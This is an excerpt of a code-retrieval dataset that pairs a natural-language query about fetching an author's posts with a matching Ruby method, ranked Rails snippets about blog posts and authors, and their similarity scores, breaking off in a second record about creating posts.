query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
returns all the posts for that author
|
def post
Post.all.select {|post| post.author == self}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def posts_by_author(author_name, posts = nil)\n posts ||= published_weblog\n posts.select { |post| post._unwrap.attributes[:author_name] == author_name }\n end",
"def posts \n Post.all.select {|post| post.author == self}\n end",
"def index\n\n res_posts = Post.select(\"id, title, author_id, left(content,#{MAX_CONTENT_LENGTH}) as content, created_at, published\").order( created_at: :desc )\n\n a_parms = get_params()\n\n @author_id = nil\n\n if( a_parms[:author_id] ) #filter posts by author\n parm_author_id = a_parms[:author_id].to_i\n\n raise ApplicationController::NotAuthorized, 'Access denied' if !user_signed_in?\n raise ApplicationController::NotAuthorized, \"Access denied to resources from another author\" if( current_author_id != parm_author_id )\n @author_id = parm_author_id \n res_posts = res_posts.where(author_id: @author_id)\n else\n res_posts = res_posts.published\n end\n\n\n @posts = res_posts.paginate(page: params[:page], per_page: POSTS_PER_PAGE)\n end",
"def all_posts\r\n\t\t#eager load author to avoid N+1 query\r\n\t\tmy_posts = extract_post_info( posts.includes(:author) )\r\n\t\tleft_posts = extract_post_info( left_friends_posts.includes(:author) )\r\n\t\tright_posts = extract_post_info( right_friends_posts.includes(:author) )\r\n\r\n\t\tresult = my_posts + left_posts + right_posts\r\n\t\t#sort by udpated_at, so the most recent post is at top\r\n\t\tresult.sort_by {|post| post[:post].updated_at }.reverse[0..9]\r\n\tend",
"def index\n @posts = Post.includes(:author)\n .order(created_at: :desc)\n .paginate(page: params[:page], per_page: 4)\n end",
"def apply_user_filter\n return if params[:author].blank?\n User.find(params[:author]).tap do |user|\n @posts = @posts.where author: user\n add_breadcrumb \"by author \\\"#{user.humanize}\\\"\"\n end\n end",
"def show\n @posts = Post.where(author_uid: @user.uid, show: true).limit(9).order('created_at desc')\n @count = Post.where(author_uid: @user.uid, show: true).count()\n end",
"def index\n @posts = Post.user_posts current_user\n end",
"def posts\n Post.all.select {|post| post.author == self}\nend",
"def index\n posted_user_ids = User.has_posted.pluck(:id)\n @posts = Post.includes(:book, :user).where(user_id: posted_user_ids)\n end",
"def author_name\n self.posts.first.author_name\n end",
"def get_user_posts\n Post.joins(:user).where(users: {id: self.id})\n end",
"def posts\n @posts ||= retrieve_posts\n end",
"def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end",
"def index\n @posts = @current_user.posts\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def all\n post_owners = [current_user.id] + Friendship.where(:user2_id => current_user, :approved => true).pluck(:user1_id)\n @posts = Post.where('owner_id' => post_owners).order(created_at: :desc).page(params[:page]).per_page(POSTS_PER_PAGE)\n end",
"def post\n array = []\n Post.post.each do |element|\n if element.user_id == self.user_id\n array << element\n end\n end\n array.each do |post|\n puts post.title\n end\n end",
"def get_posts_for_user\n @posts = policy_scope(Post)\n end",
"def index\n @posts = Post.where(user_id: current_user)\n end",
"def get_posts(name)\n posts = []\n blog(name).articles.each do |post|\n posts.push(post)\n end\n return posts\n end",
"def index\n posts = Post.all\n @posts = posts.where('user_id in (?)', current_user.id) if current_user.admin?\n @posts = posts\n end",
"def index\n @posts = current_user.posts\n end",
"def index\n @posts = Post.post_for_user(current_user).order_post.paginate(page:params[:page],per_page:10).relationships_posts\n end",
"def posts\n return @posts\n end",
"def posts\n return @posts\n end",
"def index\n @posts = current_user.posts\n\n end",
"def index\n # @posts = Post.all\n # we want to scope the posts to the current user only\n @posts = current_user.posts\n end",
"def author=(author)\n\t \t@author = author #tells post its author name\n\t \tif !@author.posts.include?(self)\n\t \t\t@author.posts << self # add post to author collection if not already\n\t \tend\n\t end",
"def index\n #if user is a author then show him all his posts.\n if current_user.role != \"reader\"\n @posts = Post.where(user_id: current_user.id )\n #if user is an reader then show him all this posts of authors that he is subscribed to.\n else\n user = User.where(id: current_user.id)\n @subscribed_authors = user.first.subscribers\n #to save relevant posts form all the subscribers\n @posts = Post.where(user_id: @subscribed_authors.ids)\n end\n #deburger\n end",
"def blog\n @posts = Post.includes(:user).where(user_id: params[:id]).order(created_at: :desc)\n end",
"def my_posts\n Post.where(user_id: self.id)\n end",
"def index\n\t@posts = list_posts\n end",
"def index\n return @posts = Post.published.paginate(:page => params[:page]).order('id DESC') unless current_user\n @posts = Post.all.paginate(:page => params[:page]).order('id DESC')\n end",
"def index\n @user_posts = UserPost.all\n end",
"def user_submissions\n @posts = Post.all.where(\"user_id = ?\", current_user.id)\n end",
"def authored_articles\n Article.where(author: self)\n end",
"def posts\n return [] unless valid?\n\n @posts ||=\n Course::Discussion::Post.forum_posts.from_course(@course).\n includes(topic: { actable: :forum }).\n calculated(:upvotes, :downvotes).\n where(created_at: start_time..end_time).\n where(creator_id: @user)\n end",
"def user_posts\n posts = []\n self.posts.order(\"id desc\").each do |post|\n post = post.attributes.merge(image: post.image.url)\n posts << post\n end\n posts\n end",
"def get_user_posts_by_following\n\t\tself.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end",
"def get_posts\n if logged_in? && current_user.has_role?('administrator')\n @blog.posts.find(:all, {:limit => 10, :order => \"updated_at DESC\"})\n else\n @blog.enabled_posts_shortlist\n end\n end",
"def get_all_posts(oauth_token)\n result = []\n client = Octokit::Client.new(access_token: oauth_token)\n posts = client.contents(full_repo_name, path: '_posts')\n posts.each do |post|\n oldest_commit = get_oldest_commit_for_file(client, post.path)\n username = client.user[:login]\n if username == oldest_commit[:author][:login]\n post_api_response = client.contents(full_repo_name, path: post.path)\n\n post_model = create_post_from_api_response(post_api_response, nil)\n image_paths = KramdownService.get_all_image_paths(post_model.contents)\n\n images = []\n image_paths.each do | image_path |\n image_content = client.contents(full_repo_name, path: image_path)\n images << create_post_image(image_path, image_content.content)\n end\n\n post_model.images = images\n \n result << post_model\n end\n end\n result\n end",
"def get_user_posts_by_following\n self.following.collect do |followed|\n followed.get_user_posts\n end\n end",
"def authors\n\t\t\t@db.js('musicthoughts.top_authors(NULL)')\n\t\tend",
"def index\n @all_posts = [] + current_user.posts\n current_user.friends.each { |friend| friend.posts.each { |post| @all_posts.push post } }\n @posts = @all_posts\n puts @posts.inspect\n end",
"def view_posts\n self.user.posts.map do |post|\n post.reload.content\n end\n end",
"def all\n @posts = Post.all\n @users = User.all\n end",
"def authors\n author\n end",
"def index\n @posts = Post.infor_post.order(id: :asc).page(params[:page]).\n per(Settings.perpage)\n end",
"def authors\n return [] if @feed.channel.managingEditor.nil? && @feed.channel.dc_publishers.empty?\n [@feed.channel.managingEditor, ((@feed.channel.dc_publishers.empty?) ? nil : @feed.channel.dc_publishers.collect{|dcp| dcp.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end",
"def index\n @posts = Post.all\n @user = current_user\n end",
"def posts()\r\n db = connect()\r\n result = db.execute(\"SELECT users.userid, users.firstname, users.lastname, users.username, users.email, users.phone, posts.title, posts.text, posts.postid FROM users INNER JOIN posts ON users.userid=posts.userid\")\r\n return result\r\n end",
"def index\n @paper_authors = PaperAuthor.all\n end",
"def posts\n Post.filter(:tag_id => self.tag_id)\n end",
"def authors\n nodes = @doc.xpath(\"atom:feed/atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def get_posts(id)\r\n db = connect()\r\n return result=db.execute(\"SELECT * FROM posts WHERE posts.userid=(?)\", id)\r\n end",
"def index\n # Normal query to get the post details\n # @posts = Post.order(created_at: :desc) \n # Post Load (0.6ms) SELECT \"posts\".* FROM \"posts\" ORDER BY \"posts\".\"created_at\" DESC\n # Author Load (0.5ms) SELECT \"authors\".* FROM \"authors\" WHERE \"authors\".\"id\" = ? LIMIT 1 [[\"id\", 3]]\n # Author Load (0.1ms) SELECT \"authors\".* FROM \"authors\" WHERE \"authors\".\"id\" = ? LIMIT 1 [[\"id\", 2]]\n # Author Load (0.1ms) SELECT \"authors\".* FROM \"authors\" WHERE \"authors\".\"id\" = ? LIMIT 1 [[\"id\", 1]]\n \n # Preload\n # @posts = Post.order(created_at: :desc).preload(:author)\n # SELECT \"posts\".* FROM \"posts\" ORDER BY \"posts\".\"created_at\" DESC\n # SELECT \"authors\".* FROM \"authors\" WHERE \"authors\".\"id\" IN (3, 2, 1)\n\n\n #egaer Load\n # @posts = Post.order(created_at: :desc).eager_load(:author)\n # SELECT \"posts\".\"id\" AS t0_r0, \"posts\".\"title\" AS t0_r1, \"posts\".\"body\" AS t0_r2, \"posts\".\"author_id\" AS t0_r3, \"posts\".\"created_at\" AS t0_r4, \"posts\".\"updated_at\" AS t0_r5, \"authors\".\"id\" AS t1_r0, \"authors\".\"name\" AS t1_r1, \"authors\".\"created_at\" AS t1_r2, \"authors\".\"updated_at\" AS t1_r3 \n # FROM \"posts\"\n # LEFT OUTER JOIN \"authors\" ON \"authors\".\"id\" = \"posts\".\"author_id\"\n # ORDER BY authors.name\n\n #includes\n @posts = Post.order(created_at: :desc).includes(:author)\n # if we compare the results with the eager_load() method, the first two cases have similar results, but in the last case it smartly decided to shift to the preload() method for better performance\n\n end",
"def show\n @posts = @user.posts\n end",
"def followed_posts\n self.followed_users.includes(:posts).order(\"updated_at desc\").collect{|u| u.posts}.flatten \n end",
"def get_articles(author_id)\n\n @author = Author.find(author_id)\n\n @articles = []\n @author.creations.each do |creation|\n temp = Article.find(creation.article_id)\n\n if !@articles.include? temp\n @articles << Article.find(creation.article_id)\n end\n\n end\n # puts \"ARTICLES\"\n\n # ap @articles\n\n return @articles\n end",
"def get_public_posts(user_id)\n return db.execute(\"SELECT * FROM post WHERE user_id = ? AND public = ?\",user_id, \"on\")\n end",
"def get_current_user_posts_by_following\n\t\tcurrent_user.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end",
"def posts(user)\n posts = user.posts\n # NOTE: As for the difference between present?, empty?, any?, exists?, see the following page.\n # https://semaphoreci.com/blog/2017/03/14/faster-rails-how-to-check-if-a-record-exists.html\n return '' if posts.empty?\n posts.pluck(:content).join('|')\n end",
"def getPosts()\n\t\tself.post\n\tend",
"def index\n @posts = PostService.getAllPosts\n end",
"def post_content_all(selected_user)\n #load trusts that are associated with interests containing the same beads combination as the current interest\n loaded_trustors = trustors(selected_user)\n \n public_posts = self.posts.find(:all,\n :conditions => [\"posts.p_private = ?\", 0],\n :order => 'posts.updated_at DESC')\n if loaded_trustors.present?\n private_posts = self.posts.find(:all,\n :conditions => [\"posts.p_private = ? AND posts.user_id IN (?)\", 1, loaded_trustors],\n :order => 'posts.updated_at DESC')\n else private_posts = []\n end\n \n return private_posts + public_posts\n end",
"def authors\n @authors\n end",
"def get_all_posts\n @posts = []\n results = Post.all\n results.each do |post|\n @posts << post.to_hash\n end\n end",
"def index\n @authors = Author.all\n end",
"def index\n @posts = PostPolicy::Scope.new(current_user, @blog.posts, @blog).resolve\n end",
"def author\n @title_pages.each { |tp| tp.author and return tp.author }\n nil\n end",
"def retrieve_posts\n # Get posts\n rss = RSS::Parser.parse(AWL_RSS_URL)\n\n # Grab shortened URLs\n links = rss.items.map(&:guid).map(&:content)\n\n @articles = []\n\n links.each do |link|\n @articles << Article.new(link)\n end\n\n # TODO: Only grab the tags for articles that haven't already be tweeted\n @articles.map(&:retrieve_tags)\n end",
"def index\n @posts = Post.find(:all)\n end",
"def author\n authors = QuestionsDBConnection.instance.execute(<<-SQL, self.author_id)\n SELECT fname, lname FROM user\n WHERE id = ?\n SQL\n\n return nil if authors.length < 0\n\n \n authors.map{|author| UserModel.new(author)}\n \n end",
"def relevant_posts\n\t\tfollowed_posts = Post.followed(@user)\n\t\ttagged_posts = Post.tagged_by_user(@user)\n\t\tfollowed_posts | tagged_posts\n\tend",
"def get_related_authors\n tag = params['query']\n\n @articles = get_articles(tag) # gets all articles of this author\n # puts 'ARTICLES'\n # ap @articles\n\n @related_articles = []\n @authors = []\n\n # for each of the author's articles, get 1st degree articles and their respective authors\n @articles.each do |article|\n puts \"ARTIClE ID \"\n puts article.arxiv_id\n getRelatedPapers(article.arxiv_id, -1).each do |related|\n\n authors = related.authors\n authors.each do |author|\n\n if !@authors.include?(author)\n @authors << author\n end\n\n end\n end\n end\n \n\n @found = 1\n if @authors == []\n @msg = \"None found, try again...\"\n @found = 0\n end\n\n render \"authors\"\n end",
"def index\n if params[:user_id]\n @posts = Post.where(user_id: params[:user_id])\n else\n @posts = current_user.posts\n end\n end",
"def show_all_article_titles_with_authors\n @all = all_article_titles_with_authors\n @all.each do |title, author|\n puts \"#{author} - #{title}\"\n end\n return @all\n end",
"def posts\n backend.wall_page(self).posts\n end",
"def authors\n nodes = @node.xpath(\"atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def posts\n @user = User.find(params[:id])\n redirect_to posts_path if !current_user.admin? && !@user.activated?\n @posts = @user.posts.order(\"created_at DESC\")\n end",
"def index\n @posts = Post.all\n\n @posts = @posts.where(user_id: user_id) if user_id\n @posts = @posts.where(course_id: course_id) if course_id\n end",
"def friends_posts\r\n\t\tPost.where(user_id: [Friendship.where(user_id: id).map{|f| f.friend_id}])\r\n\tend",
"def index\n @posts = Post.global.main.sorted\n end",
"def construct_author_list(post, is_apa = false)\n author_names = []\n author_list = ''\n\n for author in post.authors\n author_names.push(author.name)\n end\n\n if is_apa\n author_names.sort!\n\n author_names.each_with_index do |name, index|\n author_names[index] = last_name_first_name(name)\n end\n else\n #reverse the first name only\n author_names[0] = last_name_first_name(author_names[0])\n end\n\n number_of_authors = author_names.length\n\n author_list = place_author_in_list(author_names)\n\n return author_list\n end",
"def show\n blog_post_finder = BlogPostFinder.new(self)\n blog_post_finder.find(:with => params, :author? => logged_in?)\n end",
"def index\n @posts = Post.includes(:comments, :author)\n @years = Post.archive_monthes\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"def initialize #initializes post belonging to author \r\n @post = author\r\n end",
"def get_all_posts\n @posts = []\n\n Post.all.each do|post|\n @posts << post.to_hash\n end\n end",
"def index\n @authors = Author.all\n end",
"def index\n @authors = Author.all\n end",
"def index\n @authors = Author.all\n end",
"def index\n @authors = Author.all\n end",
"def generate_author_pages(item_set = nil)\n item_set ||= published_weblog\n authors(item_set).each do |author|\n @items.create(\n %(<%= render('/blog/author.*', author: '#{author}') %>),\n { title: \"Weblog postings by #{author}\", kind: 'author-page', is_hidden: true, description: \"All posts written by #{author}\" },\n \"#{@config[:static_root]}#{@config[:blog][:authors_path]}/#{author.to_slug}/index.erb\",\n binary: false,\n )\n end\n end",
"def index\n @author_widget_categories = WidgetCategory.fetch_data(current_user).includes(:author_widgets)\n end",
"def index\n @admin_user_posts = AdminUserPost.all\n end",
"def show\n @user = User.find_by(id: params[:id])\n @posts = @user.posts\n end",
"def view_posts()\n posts = @db.execute(\"SELECT * FROM posts\")\n @categories = @db.execute(\"SELECT * FROM categories\")\n\n comments = @db.execute(\"SELECT * FROM comments\").each do |comment|\n comment = comment[\"username\"] = @db.execute(\"SELECT username FROM users WHERE id=?\", [comment[\"user_id\"]]).first[\"username\"] \n end\n\n @posts = posts.each do |post|\n post[\"username\"] = @db.execute(\"SELECT username FROM users WHERE id=?\", [post[\"user_id\"]]).first[\"username\"]\n post[\"comments\"] = comments.select { |comment| comment[\"post_id\"] == post[\"id\"] }\n \n post[\"categories\"] = @db.execute(\"SELECT categorie_id FROM posts_categories WHERE post_id=?\",[post[\"id\"]]).map { |cat| p @db.execute(\"SELECT name FROM categories WHERE id=?\",[cat[\"categorie_id\"]]).first[\"name\"] }\n end\n\n @posts.first\n end",
"def list_posts\n\tif (page_number)\n\t offset = Post.offset(@page_number, per_page) #TODO move to helper function\n\t Post.includes(:user).select(\"users.user_id, users.username, users.image_url, messages.*\").where(\"thread_id=? and status=2\", self.thread_id).order(:pdate).limit(@per_page).offset(offset)\n\telse\n\t Post.includes(:user).select(\"users.user_id, users.username, users.image_url, messages.*\").where(\"thread_id=? and status=2\", self.thread_id).order(:pdate).limit(@per_page)\n\tend\n end",
"def get_posts\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n posts = db.execute(\"SELECT posts.Text, posts.PostId, posts.Upvotes, users.Username FROM posts INNER JOIN users ON users.UserId = posts.UserIdP\")\n\n return posts\n end"
] |
[
"0.785051",
"0.7511507",
"0.69503725",
"0.6928265",
"0.686226",
"0.68462634",
"0.6828634",
"0.6724405",
"0.6708099",
"0.6612329",
"0.6588582",
"0.658194",
"0.65734744",
"0.65687484",
"0.6535433",
"0.65340316",
"0.6526605",
"0.6521133",
"0.65062875",
"0.6497817",
"0.649556",
"0.648687",
"0.64684635",
"0.6455639",
"0.64508563",
"0.64508563",
"0.640124",
"0.63340676",
"0.62823975",
"0.62629586",
"0.6259663",
"0.6241063",
"0.62220716",
"0.6220167",
"0.6201916",
"0.6195776",
"0.61923915",
"0.6190073",
"0.618984",
"0.6181406",
"0.6167845",
"0.6160936",
"0.61593187",
"0.61575824",
"0.6141865",
"0.61363953",
"0.6126982",
"0.6096684",
"0.6081725",
"0.6076822",
"0.60731447",
"0.6060443",
"0.6059326",
"0.605279",
"0.60421586",
"0.6039162",
"0.6029975",
"0.60242385",
"0.6022475",
"0.60223186",
"0.6016693",
"0.60133255",
"0.59983915",
"0.5995104",
"0.59946626",
"0.59943837",
"0.59902924",
"0.5984725",
"0.5978694",
"0.5976275",
"0.5947483",
"0.5933453",
"0.59138954",
"0.5909949",
"0.5904744",
"0.5902135",
"0.5899106",
"0.58971035",
"0.58927435",
"0.58924",
"0.5891322",
"0.5891187",
"0.58879375",
"0.58852607",
"0.58840835",
"0.5879188",
"0.5877881",
"0.587494",
"0.5870061",
"0.5865227",
"0.5865227",
"0.5865227",
"0.5865227",
"0.5865073",
"0.58644575",
"0.5863113",
"0.5862423",
"0.58561504",
"0.5855878",
"0.585468"
] |
0.7008851
|
2
|
creates a new post associated with an author, arg of title
|
def add_post_by_title(title)
post = Post.new(title)
@posts << post
post.author = self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_post_by_title(title)\n post = Post.new(title)\n post.author = self\n end",
"def add_post_by_title(post_title)\n post = Post.new(post_title)\n post.author = self\n end",
"def add_post_by_title(title)\n title = Post.new(title) #to create a new song\n title.author = self #associate the objects.\n end",
"def post\n # TODO re-enable blog post creation. Requires a config file.\n #if @args.length > 0\n # new_post = BlogPost.new(@args.first, @config)\n #else\n # @stderr.puts 'create:post requires a filename. Try yuzu create:post \"Post Title Here\"'\n #end\n end",
"def call(_obj, args, ctx)\n Story.create(\n title: args[\"title\"],\n user_id: args[\"user_id\"],\n content: args[\"content\"]\n )\n end",
"def new_post *args\n groups(:studio1).posts.new *args\n end",
"def add_post_by_title(title)\n Post.new(title, self)\n end",
"def add_post_by_title(title)\n post = Post.new(title)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def add_post_by_title(title)\n post = Post.new(title)\n @posts << post\n post.author = self\n @@post_count += 1\n end",
"def newPost(_, _, _, metaweblog_struct, _)\n post = Post.create(@db.content_path, metaweblog_struct)\n @db.refresh_post_paths\n\n run_user_cmd\n post['postid']\n end",
"def add_post_by_title(title)\n post_title = Post.new(title)\n post_title.author = self\n @posts << post_title\nend",
"def add_post_by_title(title)\n new_post = Post.new(title)\n self.add_post(new_post)\n end",
"def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def resolve(args)\n post = Post.create(\n title: args[:title],\n content: args[:content]\n )\n puts args\n { post: post }\n end",
"def create\n @post = Post.new(params[:post])\n authorize! :create, @post\n unless params[:author].blank?\n @post.users << User.find(params[:author])\n end\n logger.debug \"Going to save #{Rails.logger.level} #{@post.title.inspect} #{params[:post]}\"\n respond_to do |format|\n if @post.save_post?\n logger.debug \"Saved successfully #{@post.title.inspect}\"\n format.html { redirect_to(@post, :notice => 'Post was successfully created.') }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n logger.debug \"Could not save #{@post.title.inspect}\"\n flash[:alert] = \"Slug cannot be created\"\n format.html { render 'new' }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def newPost(title, contents, categories = nil, keywords = nil, created = nil, publish = 1, user = nil, password = nil)\n article = MetaWeblogStructs::Article.new\n article.title = title\n article.description = contents\n article.categories = categories if categories\n article.mt_keywords = keywords if keywords\n article.dateCreated = created if created\n\n @client.newPostStruct(@blog.blogid, user, password, article, publish)\n end",
"def create\n post = Post.new\n post.title = params[:title]\n post.description = params[:description]\n post.save\n end",
"def add_post_by_title(post_title)\n post_title = Post.new(post_title)\n self.add_post(post_title)\n end",
"def new_blog_post\n\t\t# Get current time when post was created\n\t\tcurrent_time = Time.now\n\n\t\t# Name of the content creator\n\t\tputs \"Enter your name: \"\n\t\tblog_author = gets.chomp\n\n\t\t# Title of blog post\n\t\tputs \"Post title: \"\n\t\tblog_title=gets.chomp\n\n\t\t# Content of blog post\n\t\tputs \"Create a post: \"\n\t\tblog_content = gets.chomp\n\n\t\t# Create a blog post\n\t\tblogpost=Blog_post.new(current_time.to_s, blog_title, blog_author, blog_content)\n\tend",
"def create_new_post(params = {})\n titile = params.delete(:tile)\n title ||= 'new-post'\n date = params.delete(:date)\n comments = params.delete(:comments)\n categories = params.delete(:categories)\n\n puts \"Begin a new post in #{source_dir}/#{posts_dir}\"\n raise \"### You haven't set anything up yet. First run `rake install` to set up an Octopress theme.\" unless File.directory?(source_dir)\n puts \"set posts_dir\"\n `mkdir -p \"#{source_dir}/#{posts_dir}\"`\n\n filename = \"#{source_dir}/#{posts_dir}/#{date.strftime('%Y-%m-%d')}-#{title.to_url}.#{new_post_ext}\"\n if File.exist?(filename)\n abort(\"rake aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n puts \"Creating new post: #{filename}\"\n open(filename, 'w') do |post|\n post.puts \"---\"\n post.puts \"layout: post\"\n post.puts \"title: \\\"#{title.gsub(/&/,'&')}\\\"\"\n post.puts \"date: #{date.strftime('%Y-%m-%d %H:%M')}\"\n post.puts \"comments: #{comments}\"\n post.puts \"categories: #{categories}\"\n post.puts \"---\"\n post.puts \"#{content}\"\n end\nend",
"def create_post(message, author_name, author_email, author_url = nil, ip_address = nil, created_at = nil)\n new_post_hash = API.create_post(forum_key, id, message, author_name, author_email, author_url, ip_address, created_at)\n new_post = Post.new(new_post_hash.merge(default_hash))\n @posts << new_post if @posts\n new_post\n end",
"def create\n @post = Post.new params[:post].merge(:author => current_user)\n \n respond_to do |format|\n if @post.save\n format.html { redirect_to(@post, :notice => t('posts.show.post_created')) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_author.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to(@post, :flash => {:success => 'Post was successfully created.' } ) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n @title = \"New Post\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize\n params[:post][:author_id] = session[:author].id\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n flash[:notice] = 'El post fue creado satisfactoriamente.'\n format.html { redirect_to \"/posts\" }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def newPost(appkey, blogid, username, password, content, publish)\n begin\n re = %r{^<title>(.+?)</title>(?:<category>(.+?)</category>)?(.+)$}mi\n title, categories, body = content.match(re).captures rescue nil\n\n body ||= content.to_s\n title ||= body.to_s.split.split(0..5).join(' ')\n categories = categories.to_s.split(',')\n\n doc = Document.new.tap do |doc|\n doc.content = body\n doc.title = title\n doc.published = publish\n doc.author = @account\n doc.page = this_page\n doc.categories = this_page.categories.many_matching(categories)\n end\n \n doc.save!\n doc.external_id\n rescue Exception => e\n logger.error(e.message)\n \n # Return failure.\n 0\n end\n end",
"def call(_obj, args, _ctx)\n Todo.create!(\n title: args[:title],\n description: args[:description],\n )\n end",
"def create_post\n\t\tassignment_id = params[:assignment_id]\n\n\t\tassignment = Assignment.find(assignment_id)\n\t\tgroup_id = assignment.group_id\n\n\t\t\n\t\tpost = Post.create({\n\t\t\tcontent: params[:content],\n\t\t\tpublished_at: DateTime.now\n\t\t\t})\n\n\t\tassignment.posts << post\n\t\tassignment.save\n\n\t\tpost.author = @authenticated_user\n\t\tpost.save\n\n\t\tredirect_to group_db_show_url(group_id)\n\t\treturn\n\tend",
"def create\n \t# create the post\n \t# the following is the short version of getting data\n \t@post = Post.new(params[:post])\n \t# the following is the long version of getting data\n \t# @post = Post.new(params[:title], params[:url], params[:description])\n \t# @post.user_id = 1 #TODO: add in real user after we have authentication\n # @post.user_id = current_user.id\n @post.user_id = session[:user_id]\n \tif @post.save\n \t\tflash[:notice] = \"Post was created!\"\n \t\tredirect_to posts_path # \"/posts/#{@post_id}\"\n \telse # validation failure\n render :new\n end\n end",
"def create\n @post = Post.new(content: \"#{params[:word]} (#{params[:pos]}): #{params[:definition]}\\r\\n#{params[:sentence]}\",\n user_id: @current_user.id)\n\n if @post.save\n flash[:notice] = \"Your post has been added.\"\n redirect_to(\"/posts/index\")\n else\n render(\"posts/new\")\n end\n end",
"def create\n\t\t@post = Post.new(post_params)\n\t\t@post.author = @user.username\n\n\t\trespond_to do |format|\n\t\t\tif @post.save\n\t\t\t\tformat.html { redirect_to root_url + \"#!/\" + @post.slug, notice: 'Post was successfully created.' }\n\t\t\t\tformat.js {}\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @post }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @post.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n # TBD: do we need to set person_id explicitly?\n @post = Post.new(post_params)\n create_q(@post)\n end",
"def add_post\n if current_user.id.to_s == params[:user_id].to_s\n post = Post.new(:user_id => params[:user_id], :content => params[:content],\\\n :title => params[:title], :upvotes => 0, :downvotes => 0, :rank => 0)\n post.save!\n end\n end",
"def create\n @post = BlogPost.new(blog_post_params)\n @post.author = current_user\n create_resource_response(@post)\n end",
"def newpost(params,userid)\r\n db = connect_non_hash()\r\n db.execute(\"SELECT userid FROM users\")\r\n db.execute(\"INSERT INTO posts(title, text, userid) VALUES (?, ?, ?)\", params[\"title\"], params[\"text\"], userid)\r\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(*args)\n post(*args)\n end",
"def create(*args)\n post(*args)\n end",
"def create_post_for(options)\n site_id = options[:blog]\n options.delete(:blog)\n options[:site_id] = site_id\n post(new_post_uri, options)\n end",
"def create\n @post = Post.new\n @post.title = params[:title]\n @post.description = params[:description]\n @post.save\n redirect_to post_path(@post)\n end",
"def create_posts\n end",
"def create_posts\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n @ultimo_post = Post.last\n @historico_post = HistoricoPost.new(id_post: @ultimo_post.id, title: @ultimo_post.title, text: @ultimo_post.text)\n @historico_post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n post = Post.new(name: params['post']['name'])\n post.save\n redirect_to \"/posts/#{post.id}\"\n end",
"def create_post(user_id, post_hash={})\n @post = Post.new(:user_id => user_id, :location_id => post_hash[:location_id], :text => post_hash[:text])\n @post.save\n end",
"def create\n @post = @current_user.posts.build(params[:post])\n if @post.save then\n Feed.create_post(@post)\n end\n end",
"def create\n unless user_signed_in? && current_user && current_user.is_admin?\n render status: 403, json: 'You must be signed-in as an admin to create a post.'\n end\n binding.pry\n content = params.require('blog').require('content')\n puts content\n binding.pry\n render text: blog_path, status: :created, location: blog_path\n end",
"def create\n\t\t@post = Post.new(params[:post].permit(:title, :text))\n\t\t\n\t\tif @post.save\n\t\t\n\t\t\t#tell browser to issue anothe request\n\t\t\tredirect_to @post\n\t\telse\n\t\t\n\t\t\t#render is used so that @post is passed back to the\n\t\t\t#new template when it is rendered\n\t\t\trender 'new'\n\t\tend\n\tend",
"def call(_obj, args, _ctx)\n Genre.create!(\n title: args[:title]\n )\n end",
"def create\n blog_post_creator = BlogPostCreator.new(ActivityLogger.new(BlogTweeter.new(self)))\n blog_post_creator.create_with(params[:blog_post])\n end",
"def create\n @post = Post.new(post_params)\n @post.author = @current_user\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(title) #initialize the post class with a title\n @title = title\n end",
"def create\n @post = Post.create!(post_params)\n end",
